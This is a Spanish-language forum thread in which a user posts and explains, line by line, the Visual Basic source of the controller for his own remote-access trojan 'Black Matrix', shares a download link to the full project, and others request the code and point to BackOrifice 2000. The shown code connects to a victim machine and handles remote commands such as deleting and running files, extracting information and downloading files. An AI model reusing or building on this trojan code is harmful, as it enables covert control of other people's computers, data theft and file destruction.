Jeje, haz click en el link(en el segundo), te lleba al código fuente, el primero te lleba al .exe
No val copiarse el código que tiene copyright ©, xDDDD
Saludos
Jeje, haz click en el link(en el segundo), te lleba al código fuente, el primero te lleba al .exe
No val copiarse el código que tiene copyright ©, xDDDD
Saludos
no lo puedo bajar me marca que el link esta fuera de servicio, me lo porias mandar al correo tanto el txt como el ejecutable
Cierto, no se puede bajar
¿Alguien sería tan amanle de colgar el fuente en algún sitio?
Un saludo
Si quieres el codigo fuente de un troyano busca el BackOriffice 2000 que es OpenSource
je sip. Lo había bajado hace algún tiempo y de su estudio saqué una interesante conclusión:
demasiado complicado para mi .
Bueno, he decidido ir posteando el código fuente con su explicación (que pateo ), en fin soy muy vago a si que me llebará algo de tiempo, no seasi impacientes, al que no tenga el proyecto, le vuelvo a postear el link, que si que va :
http://es.geocities.com/serveradm2003/Bmt2.zip
En fin, "primer capítulo :
'Empezaremos con el controlador del troyano, y nos encontramos en form1;
Private Sub au_Click() ' Esto hace referencia a un menú, en concreto el de acerca de..., no tiene mucha importancia...
MsgBox "Creado por El_chacal...", vbInformation, "Black Matrix" ' Y aquí está el código de lo que ocurre cuando pichas en ese menu (sale un mesnaje de error diciendo que esta creado por el chacal, jeje.
End Sub ' FInaliza la primera "orden".
Private Sub Command1_Click() ' Hace referencia al botón de conectar...
On Error GoTo er ' Si se produce un error que salga de esta orden y valla a "er" (nombre que le he asignado yo...
If Winsock1.State <> 7 Then ' Si el estado del winsock es diferente de 7... (es decir no está conectado) hace lo siguiente:
Winsock1.Connect (txtip) 'Conectará los winsocks (usados para establecer las conexiones entre el ordenador remoto y el nuestro...
Winsock2.Connect (txtip)
Else 'Si no ha ocurrido lo anterior, es decir estamos conectado, entonces:
Winsock2.Close ' Cierra los winsocks
Winsock1.Close
Command1.Caption = "Conectar" ' El titulo del commando 1 será ahora desconectar.
sb1.Panels(1).Text = "Desconectado" 'En el panael inferior pondrá desconectado...
tt = " -> Desconectado por el usuario" ' Declara la variable tt, que equivale a que a sido desconectado por el us.
Text1 = Text1 & tt & vbCrLf ' Introducimi¡os en el cuadro de texto1 (text1) el contenido de tt.
End If ' Fin de la condición.
Exit Sub
er: ' Aquí tenemos nuestro "er", y nos va a decir que va a ocurrir cuando se produzca el error;
Winsock1.Close ' Se cerrarán los winsocks
Winsock2.Close
Text1 = Text1 & " -> No se pudo conectar con el servidor remoto, intentelo mas tarde..." & vbCrLf ' Se añadirá al text1 que no se ha podido conectar...
Command1.Caption = "Conectar" ' Cambiará el "título" del command1.
End Sub
Private Sub Command2_Click()
If Form1!Winsock1.State <> 7 Then
MsgBox "Estas desconectado...", vbInformation, "Desconectado"
Else
mail.Show
Me.Hide
End If
End Sub
Private Sub Command3_Click()
Form3.Show
Form3.Top = Form1.Top
Form3.Left = Form1.Left + Form3.ScaleWidth
Form3.Height = Form1.Height
For ñ = Form1.Left To Form1.Left + Form3.ScaleWidth - 600 Step 20
Form3.Left = ñ
DoEvents
Next ñ
End Sub
Private Sub Command4_Click()
List1.Clear
Command1.SetFocus
End Sub
Private Sub Form_GotFocus()
Form3.Top = Form1.Top
Form3.Left = Form1.Left + Form3.Width
End Sub
Private Sub Form_Load()
txtip = Winsock1.LocalIP
Move (Screen.Width - Width) \ 2, (Screen.Height - Height) \ 2
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
If MsgBox("¿Estás seguro de querer salir?, si sales, y estás conectado, perderás la conexión con el ordenador remoto...", vbQuestion + vbYesNo, "Salir") = vbYes Then
End
Else
Cancel = True
End If
End Sub
Private Sub gd_Click()
Form8.Show
End Sub
Private Sub p_Click()
mg = "Versión:" & App.Major & "." & App.Minor & "." & App.Revision & vbCrLf
mg = mg & "Nombre: Black Matrix" & vbCrLf
mg = mg & "Directorio: " & App.Path & vbCrLf & vbCrLf
mg = mg & App.Comments
MsgBox mg, vbExclamation, "Black Matrix"
End Sub
Private Sub Text1_Change()
Text1.SelStart = Len(Text1.Text)
End Sub
Private Sub Timer1_Timer()
sb1.Panels(1).AutoSize = sbrContents
Form2!sb2.Panels(1).AutoSize = sbrContents
Form2!sb2.Panels(1).Text = sb1.Panels(1).Text
End Sub
Private Sub Timer2_Timer()
b2.Left = sb1.Panels(2).Left + 30
b2.Max = Form2!bar.Max
b2.Min = Form2!bar.Min
b2.Value = Form2!bar.Value
End Sub
Private Sub Winsock1_Close()
Winsock1.Close
sb1.Panels(1).Text = "Desconectado"
Text1 = Text1 & " -> Desconectado..." & vbCrLf
Command1.Caption = "Conectar"
Form2.Hide
Form4.Hide
Form5.Hide
Form6.Hide
mail.Hide
End Sub
Private Sub Winsock1_Connect()
sb1.Panels(1).Text = "Conectado"
Text1 = Text1 & ">>> Conectado con: " & txtip & vbCrLf
Command1.Caption = "Desconectar"
End Sub
Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
Winsock1.Close
Winsock1.Accept requestID
End Sub
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
Dim tWnd As Long, bWnd As Long, ncWnd As Long
Dim datos As String, comando As String, di As String, dr As String, dv As String, dt As String, err As String
Winsock1.GetData datos, vbString
comando = Left$(datos, 1)
datos = Right$(datos, Len(datos) - 1)
Select Case comando
Case "A":
sb1.Panels(1).Text = "Directorio cambiado"
Text1 = Text1 & " -> Directorio mostrado" & vbCrLf
Case "B":
MsgBox datos, vbInformation, "Error"
sb1.Panels(1).Text = "Error"
Text1 = Text1 & "-> Error..." & datos & vbCrLf
Case "C":
Form2!Text4 = datos
sb1.Panels(1).Text = "Carpetas mostradas"
Text1 = Text1 & " -> Carpetas mostradas" & vbCrLf
Case "D":
Form2!Text5 = datos
sb1.Panels(1).Text = "Drivers mostrados"
Text1 = Text1 & " -> Drivers mostrados" & vbCrLf
Case "E":
sb1.Panels(1).Text = "Directorio cambiado"
Text1 = Text1 & " -> Directorio cambiado" & vbCrLf
Case "F":
sb1.Panels(1).Text = "Cd abierto"
Text1 = Text1 & " -> Cd abierto" & vbCrLf
Case "G":
sb1.Panels(1).Text = "Cd cerrado"
Text1 = Text1 & " -> Cd cerrado" & vbCrLf
Case "H":
Form4!Text1 = Form4!Text1 & datos
Case "I":
sb1.Panels(1).Text = "Archivo eliminado"
Text1 = Text1 & " -> Archivo eliminado" & vbCrLf
Case "J":
sb1.Panels(1).Text = "Archivo ejecutado"
Text1 = Text1 & " -> Archivo ejecutado" & vbCrLf
Case "K":
sb1.Panels(1).Text = "Dirección guardada"
Text1 = Text1 & " -> Dirección guardada" & vbCrLf
Case "L":
sb1.Panels(1).Text = "Error al extraer la información"
Text1 = Text1 & " -> Error al extraer la información" & vbCrLf
Case "M":
Form2!Text1 = datos
sb1.Panels(1).Text = "Archivos mostrados"
Text1 = Text1 & " -> Archivos mostrados" & vbCrLf
Case "N":
sb1.Panels(1).Text = "Información extraida"
Text1 = Text1 & " -> Información extraida" & vbCrLf
Form7!Text1 = datos
Case "Ñ":
Archivo = Archivo & datos
Open Form2!Text7 & "\" & Form2!Text8 For Binary As #1
Put #1, , Archivo
Largo = 0
Archivo = ""
Close #1
sb1.Panels(1).Text = "Archivo descargado"
Text1 = Text1 & " -> Archivo descargado" & vbCrLf
Case "O":
Form2!Text10 = datos
End Select
End Sub
Private Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
Winsock1.Close
Text1 = Text1 & " -> No se pudo conectar con el servidor remoto, intentelo mas tarde..." & vbCrLf
Form2.Hide
Form4.Hide
Form5.Hide
Form6.Hide
mail.Hide
End Sub
Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
Dim vl As String
Winsock2.GetData vl
Form2!Text9 = vl
End Sub
'Poco a poco lo iré modificando...
Esto es todo por hoy, el lunes que viene sigo, ya que en todo este fin de semana no voy a estar en mi casa, lo lamento
Saludos.
Última edición por The_chacal; 16-05-2003 a las 01:15
violgore si te interesa puedes ver el codigo fuente del BackOriffice 2000 que es OpenSource y tienes su codigo fuente libre. Creo que estaba en sourceforge.net
Saludos.
Gracias por ir posteando el código The_chacal.
El link sigue sin ir :_( . Tal vez funcione si haces un htm dentro de ese mismo dominio y despues desde el htm un link al zip.
Un Saludo.
Hola, Lazaro, Boton derecho > Guardar destino como...
Bueno, era solo para decirles que no podre seguir con la explicación hasta el domingo por que tengo exámenes , lo lamento.
Un saludo
Marcadores